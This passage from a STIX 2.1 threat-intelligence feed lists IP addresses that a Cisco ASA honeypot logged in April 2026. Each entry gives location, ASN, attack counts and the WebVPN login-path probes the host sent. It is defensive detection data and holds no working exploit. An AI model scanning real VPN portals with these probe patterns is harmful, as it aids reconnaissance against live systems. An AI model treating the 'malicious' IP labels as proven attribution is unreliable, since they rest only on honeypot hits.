          "last_seen": "2026-04-27T19:17:29.815Z",
          "country": "United States",
          "country_code": "US",
          "asn": 400882,
          "as_org": "Cyber Data LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T22:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--d741171a-7884-4213-bdbb-657d11947195",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.111.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T22:20:05.000Z",
      "valid_until": "2026-05-20T22:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-18T21:53:11.085Z",
          "last_seen": "2026-04-29T12:07:42.899Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T22:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--9f397b05-f0eb-45a1-895a-90f57be6deb0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T22:20:05.000Z",
      "valid_until": "2026-05-20T22:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-18T21:25:37.718Z",
          "last_seen": "2026-04-29T13:07:28.015Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-19T00:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--44ca14ea-1245-4951-8f67-2efb2eb6f886",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.76.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T00:20:10.000Z",
      "valid_until": "2026-05-21T00:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-18T23:28:54.207Z",
          "last_seen": "2026-04-30T01:07:16.638Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-19T00:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--1dff5e27-a066-4e3a-984d-8fb7c54bb7f6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.82.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T00:20:10.000Z",
      "valid_until": "2026-05-21T00:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-08T21:24:30.827Z",
          "last_seen": "2026-04-25T02:45:26.311Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-19T00:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: PT; ASN 211680 (Sistemas Informaticos, S.A.)",
      "id": "indicator--1f6a5124-6726-4df3-9b0f-75bdbe5ee0c5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T00:20:10.000Z",
      "valid_until": "2026-05-21T00:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 4,
          "first_seen": "2026-04-18T23:41:11.730Z",
          "last_seen": "2026-04-26T12:09:18.790Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 211680,
          "as_org": "Sistemas Informaticos, S.A.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-19T00:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5d7ee0e3-8f22-4c1a-9ef9-ddd3e56e2295",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T00:20:10.000Z",
      "valid_until": "2026-05-21T00:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-18T23:59:09.153Z",
          "last_seen": "2026-04-23T17:44:33.901Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-19T01:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14987 (Rethem Hosting LLC)",
      "id": "indicator--d1d0d699-e6cf-4155-9f60-fec036734202",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T01:20:11.000Z",
      "valid_until": "2026-05-21T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-19T00:36:39.142Z",
          "last_seen": "2026-04-19T00:36:39.950Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14987,
          "as_org": "Rethem Hosting LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-19T01:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--b8f2b6ea-ef9f-4fe9-b4d3-3ced99212fc1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.211.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T01:20:11.000Z",
      "valid_until": "2026-05-21T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-19T00:55:06.397Z",
          "last_seen": "2026-04-19T00:55:11.774Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-19T01:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 400882 (Cyber Data LLC)",
      "id": "indicator--383377b5-80e9-48d8-9269-c432235e12c8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.162.40.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T01:20:11.000Z",
      "valid_until": "2026-05-21T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-19T00:35:25.936Z",
          "last_seen": "2026-04-26T16:35:22.435Z",
          "country": "United States",
          "country_code": "US",
          "asn": 400882,
          "as_org": "Cyber Data LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-19T01:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--3610de38-34a2-40e4-990b-12c71b5d3748",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.83.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T01:20:11.000Z",
      "valid_until": "2026-05-21T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-19T01:08:31.930Z",
          "last_seen": "2026-04-25T03:10:46.143Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-19T01:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--2058ceb8-4b27-489c-baee-7b68b22fe823",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '34.238.124.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T01:20:11.000Z",
      "valid_until": "2026-05-21T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-19T00:56:49.176Z",
          "last_seen": "2026-04-19T00:56:52.179Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-19T01:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 60068 (Datacamp Limited)",
      "id": "indicator--ef3f819b-0445-442f-8d01-aceaefa10540",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '79.127.217.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T01:20:11.000Z",
      "valid_until": "2026-05-21T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-19T00:30:59.078Z",
          "last_seen": "2026-04-23T15:55:58.506Z",
          "country": "United States",
          "country_code": "US",
          "asn": 60068,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-19T01:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--a7269299-d89c-469b-aa00-77b5465911ae",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '87.249.134.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T01:20:11.000Z",
      "valid_until": "2026-05-21T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-19T01:06:37.012Z",
          "last_seen": "2026-04-30T00:36:04.680Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-19T01:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--d0d7a3e6-5845-49fd-8c0f-30b318af515d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '98.93.245.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T01:20:11.000Z",
      "valid_until": "2026-05-21T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-19T01:03:14.153Z",
          "last_seen": "2026-04-19T01:03:14.153Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-19T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--44907684-9405-4a8a-bbb9-29d5d6396342",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.108.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T03:20:10.000Z",
      "valid_until": "2026-05-21T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-19T02:44:28.323Z",
          "last_seen": "2026-04-29T09:39:12.920Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-19T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--29c37a79-2799-4f0a-8fa6-abdc9d2ff26f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.78.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T03:20:10.000Z",
      "valid_until": "2026-05-21T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-19T02:31:44.521Z",
          "last_seen": "2026-04-21T19:19:20.206Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-19T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--931b4b79-3010-4f41-948e-9f351a18c289",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '67.207.82.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T03:20:10.000Z",
      "valid_until": "2026-05-21T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-19T02:53:21.867Z",
          "last_seen": "2026-04-19T02:53:28.934Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-19T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--55c58d2c-1dfc-4e65-bd7a-ee955884b650",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.101.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T04:20:10.000Z",
      "valid_until": "2026-05-21T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-19T03:55:51.421Z",
          "last_seen": "2026-04-27T18:01:54.228Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-19T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--17039a3c-941d-4f40-a62a-7bd54f0874e3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.74.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T04:20:10.000Z",
      "valid_until": "2026-05-21T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-19T04:07:12.087Z",
          "last_seen": "2026-04-23T10:42:47.532Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-19T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--a917c5e7-2d86-4eb1-b8dc-912a6bca5331",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T04:20:10.000Z",
      "valid_until": "2026-05-21T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-19T04:13:45.944Z",
          "last_seen": "2026-04-30T00:47:12.115Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-19T05:20:30.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
